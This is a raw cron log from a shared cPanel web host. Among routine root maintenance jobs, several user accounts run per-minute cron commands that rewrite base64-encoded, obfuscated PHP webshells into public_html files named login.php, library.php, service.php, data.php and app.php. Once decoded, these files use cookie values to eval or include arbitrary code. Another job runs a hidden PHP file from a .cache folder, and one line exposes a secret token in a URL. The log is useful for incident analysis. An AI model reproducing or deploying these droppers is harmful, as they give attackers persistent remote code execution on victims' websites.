Apr 19 06:30:01 medusa CROND[7206]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 06:30:01 medusa CROND[7215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:30:01 medusa CROND[7185]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 06:30:01 medusa CROND[7191]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 06:30:01 medusa CROND[7216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:30:01 medusa CROND[7196]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 06:30:01 medusa CROND[7207]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 06:30:01 medusa CROND[7175]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 06:31:01 medusa CROND[31485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:31:01 medusa CROND[31523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:31:01 medusa CROND[31577]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:31:01 medusa CROND[31578]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:31:01 medusa CROND[31579]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:31:01 medusa CROND[31580]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:31:01 medusa CROND[31585]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:31:01 medusa CROND[31590]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:31:01 medusa CROND[31591]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:31:01 medusa CROND[31592]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:31:01 medusa CROND[31595]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:31:01 medusa CROND[31598]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 06:31:01 medusa CROND[31599]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 06:32:01 medusa CROND[23419]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:32:01 medusa CROND[23420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:32:01 medusa CROND[23421]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:32:01 medusa CROND[23422]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:32:01 medusa CROND[23425]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:32:01 medusa CROND[23427]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:32:01 medusa CROND[23429]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 06:32:01 medusa CROND[23430]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:32:01 medusa CROND[23431]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:32:01 medusa CROND[23432]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:32:01 medusa CROND[23434]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:32:01 medusa CROND[23441]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:32:01 medusa CROND[23439]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:33:02 medusa CROND[15378]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 06:33:02 medusa CROND[15430]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:33:02 medusa CROND[15431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:33:02 medusa CROND[15433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
